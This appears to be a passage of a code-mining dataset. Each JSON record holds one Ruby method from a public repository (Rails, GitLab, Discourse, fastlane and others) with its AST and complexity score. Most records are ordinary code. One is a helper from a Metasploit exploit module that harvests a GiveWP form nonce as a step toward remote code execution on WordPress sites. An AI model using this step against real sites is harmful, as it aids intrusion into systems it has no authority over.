end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_complex\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unpacker\"]}]},{\"type\":\"send\",\"children\":[null,\"Complex\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacker\"]},\"read\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unpacker\"]},\"read\"]}]}]}","id":"ad21fdfb-010e-492b-8b16-9f8442f7e272"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_parser_csv.rb","start_line":190,"raw_source":"def test_parser_type_method(engine)\n d = create_driver('keys' => '[\"time\"]','time_key' => 'time', 'parser_type' => engine.to_s)\n assert_equal(:text_per_line, d.instance.parser_type)\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_parser_type_method\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"engine\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"send\",\"children\":[null,\"create_driver\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keys\"]},{\"type\":\"str\",\"children\":[\"[\\\"time\\\"]\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"time_key\"]},{\"type\":\"str\",\"children\":[\"time\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"parser_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"engine\"]},\"to_s\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"text_per_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"instance\"]},\"parser_type\"]}]}]}]}","id":"5bd9d8f5-0c26-4215-ac5d-9f7750a4f976"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support_specs/matchers/exceed_query_limit_helpers_spec.rb","start_line":21,"raw_source":"def expected\n ActiveRecord::QueryRecorder.new do\n 2.times { TestQueries.count }\n end\n end","complexity_score":5.73,"ast_json":"{\"type\":\"def\",\"children\":[\"expected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"QueryRecorder\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"times\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestQueries\"]},\"count\"]}]}]}]}","id":"86838783-dcfb-43cb-9cb3-f1927fb31158"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/install_provisioning_profile.rb","start_line":6,"raw_source":"def self.run(params)\n absolute_path = File.expand_path(params[:path])\n FastlaneCore::ProvisioningProfile.install(absolute_path)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"absolute_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ProvisioningProfile\"]},\"install\",{\"type\":\"lvar\",\"children\":[\"absolute_path\"]}]}]}]}","id":"a14b3d50-88ec-4af8-9540-5b84ceee48ba"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_logging_behavior.rb","start_line":6,"raw_source":"def test_fetch_logging\n assert_logs(/Cache read: #{key_pattern(\"foo\")}/) do\n @cache.fetch(\"foo\")\n end\n\n assert_logs(/Cache read: #{key_pattern(\"foo\", namespace: \"bar\")}/) do\n @cache.fetch(\"foo\", namespace: \"bar\")\n end\n end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_logging\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_logs\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache read: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_pattern\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_logs\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Cache read: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"key_pattern\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"fetch\",{\"type\":\"str\",\"children\":[\"foo\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]}]}]}]}]}","id":"2010b605-6acd-4b39-8969-085c85c993a0"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/users_controller.rb","start_line":245,"raw_source":"def find_user\n if params[:id] == User::CURRENT_USER_LOGIN_ALIAS || params[:id].nil?\n require_login || return\n @user = User.current\n else\n @user = User.visible.find(params[:id])\n end\n end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"CURRENT_USER_LOGIN_ALIAS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"nil?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require_login\"]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"visible\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"15ff4bda-50e9-4fba-be91-d566046b83b3"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nabble.rb","start_line":116,"raw_source":"def parse_email(msg)\n receiver = Email::Receiver.new(msg)\n mail = Mail.read_from_string(msg)\n mail.body\n\n body, elided = receiver.select_body\n body.force_encoding(body.encoding).encode(\"UTF-8\")\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_email\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"receiver\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Email\"]},\"Receiver\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mail\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"read_from_string\",{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mail\"]},\"body\"]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\"]},{\"type\":\"lvasgn\",\"children\":[\"elided\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"receiver\"]},\"select_body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"force_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"encoding\"]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}","id":"3efa3007-3540-4e61-a1e2-92e2bc2610bf"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/hardware.rb","start_line":67,"raw_source":"def self.add_elements(parent, xmlNode)\n _log.info(\"Adding Hardware XML elements for VM[id]=[#{parent.id}] from XML doc [#{xmlNode.root.name}]\")\n parent.hardware = Hardware.new if parent.hardware.nil?\n # Record guest_devices so we can delete any removed items.\n deletes = {:gd => [], :disk => []}\n\n # Excluding ethernet devices from deletes because the refresh is the master of the data and it will handle the deletes.\n deletes[:gd] = parent.hardware.guest_devices\n .where.not(:device_type => \"ethernet\")\n .select(:id, :device_type, :location, :address)\n .collect { |rec| [rec.id, [rec.device_type, rec.location, rec.address]] }\n\n deletes[:disk] = parent.hardware.disks.select(:id, :device_type, :location)\n .collect { |rec| [rec.id, [rec.device_type, rec.location]] }\n\n xmlNode.root.each_recursive do |e|\n begin\n parent.hardware.send(:\"m_#{e.name}\", parent, e, deletes) if parent.hardware.respond_to?(:\"m_#{e.name}\")\n rescue => err\n _log.warn(err.to_s)\n end\n end\n\n GuestDevice.delete(deletes[:gd].transpose[0])\n Disk.delete(deletes[:disk].transpose[0])\n\n # Count the count of ethernet devices\n parent.hardware.number_of_nics = parent.hardware.nics.length\n\n parent.hardware.save\n end","complexity_score":78.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"xmlNode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Adding Hardware XML elements for VM[id]=[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"] from XML doc [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"root\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hardware\"]},\"new\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"deletes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gd\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disk\"]},{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gd\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"guest_devices\"]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"str\",\"children\":[\"ethernet\"]}]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"sym\",\"children\":[\"location\"]},{\"type\":\"sym\",\"children\":[\"address\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rec\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"device_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"location\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"address\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"disk\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"disks\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"device_type\"]},{\"type\":\"sym\",\"children\":[\"location\"]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rec\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"device_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rec\"]},\"location\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xmlNode\"]},\"root\"]},\"each_recursive\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"respond_to?\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"m_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"m_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"name\"]}]}]},{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"deletes\"]}]},null]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"err\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"warn\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err\"]},\"to_s\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GuestDevice\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gd\"]}]},\"transpose\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Disk\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deletes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disk\"]}]},\"transpose\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"number_of_nics=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"nics\"]},\"length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},\"hardware\"]},\"save\"]}]}]}","id":"b937342b-7c70-4410-8623-08cd5896f511"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/wiki.rb","start_line":108,"raw_source":"def create_menu_item_for_start_page\n wiki_menu_item = wiki_menu_items.find_or_initialize_by(title: start_page) do |item|\n item.name = \"wiki\"\n end\n wiki_menu_item.new_wiki_page = true\n wiki_menu_item.index_page = true\n\n wiki_menu_item.save!\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"create_menu_item_for_start_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wiki_menu_item\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wiki_menu_items\"]},\"find_or_initialize_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"start_page\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"name=\",{\"type\":\"str\",\"children\":[\"wiki\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_menu_item\"]},\"new_wiki_page=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_menu_item\"]},\"index_page=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_menu_item\"]},\"save!\"]}]}]}","id":"b780b875-c17d-43d3-a134-a027a4f50671"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_givewp_rce.rb","start_line":138,"raw_source":"def retrieve_and_analyze_form(form_id)\n form_res = send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),\n 'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }\n )\n\n return unless form_res&.code == 200\n\n form_data = JSON.parse(form_res.body)\n give_form_id = form_id\n give_form_hash = form_data['data']\n give_price_id = '0'\n give_amount = '10'\n # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.\n\n return unless give_form_hash\n\n {\n 'give_form_id' => give_form_id,\n 'give_form_hash' => give_form_hash,\n 'give_price_id' => give_price_id,\n 'give_amount' => give_amount\n }\n end","complexity_score":18.9,"ast_json":"{\"type\":\"def\",\"children\":[\"retrieve_and_analyze_form\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"form_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"form_res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"wp-admin\"]},{\"type\":\"str\",\"children\":[\"admin-ajax.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"give_donation_form_nonce\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"give_form_id\"]},{\"type\":\"lvar\",\"children\":[\"form_id\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"form_data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_res\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"give_form_id\",{\"type\":\"lvar\",\"children\":[\"form_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"give_form_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"give_price_id\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"lvasgn\",\"children\":[\"give_amount\",{\"type\":\"str\",\"children\":[\"10\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"give_form_hash\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"give_form_id\"]},{\"type\":\"lvar\",\"children\":[\"give_form_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"give_form_hash\"]},{\"type\":\"lvar\",\"children\":[\"give_form_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"give_price_id\"]},{\"type\":\"lvar\",\"children\":[\"give_price_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"give_amount\"]},{\"type\":\"lvar\",\"children\":[\"give_amount\"]}]}]}]}]}","id":"1d9008ca-bd29-4438-8427-80bbe11e2d1f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/database/load_balancing/sidekiq_server_middleware_spec.rb","start_line":481,"raw_source":"def run_middleware\n middleware.call(worker, job, double(:queue)) { yield if block_given? }\n rescue described_class::JobReplicaNotUpToDate\n # we silence errors here that cause the job to retry\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run_middleware\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"middleware\"]},\"call\",{\"type\":\"send\",\"children\":[null,\"worker\"]},{\"type\":\"send\",\"children\":[null,\"job\"]},{\"type\":\"send\",\"children\":[null,\"double\",{\"type\":\"sym\",\"children\":[\"queue\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[]},null]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"JobReplicaNotUpToDate\"]}]},null,null]},null]}]}","id":"1c236cf9-ed03-4c02-9b25-c4d7afaa018d"} {"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/reimbursements_controller.rb","start_line":27,"raw_source":"def location_after_save\n if @reimbursement.reimbursed?\n spree.admin_order_reimbursement_path(parent, @reimbursement)\n else\n spree.edit_admin_order_reimbursement_path(parent, @reimbursement)\n end\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"location_after_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@reimbursement\"]},\"reimbursed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_order_reimbursement_path\",{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"ivar\",\"children\":[\"@reimbursement\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"edit_admin_order_reimbursement_path\",{\"type\":\"send\",\"children\":[null,\"parent\"]},{\"type\":\"ivar\",\"children\":[\"@reimbursement\"]}]}]}]}","id":"20563fed-5106-44a8-9071-cbd9f6ef1f7a"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/category_page_style.rb","start_line":6,"raw_source":"def self.valid_value?(val)\n values.any? { |v| v[:value].to_s == val.to_s }\n end","complexity_score":8.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_value?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value\"]}]},\"to_s\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]},\"to_s\"]}]}]}]}","id":"9a306618-2ec1-49ef-b5c9-1edca5f77e16"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/tunes/tunes.rb","start_line":1209,"raw_source":"def delete_sandbox_tester(sandbox_tester_id: nil)\n params = tunes_request_client.build_params(filter: nil, includes: nil, limit: nil, sort: nil)\n tunes_request_client.delete(\"#{Version::V1}/sandboxTesters/#{sandbox_tester_id}\", params)\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_sandbox_tester\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"sandbox_tester_id\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"build_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"includes\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sort\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tunes_request_client\"]},\"delete\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Version\"]},\"V1\"]}]},{\"type\":\"str\",\"children\":[\"/sandboxTesters/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sandbox_tester_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"7ceb2dac-3555-4d90-9fce-6043905e5ec2"} 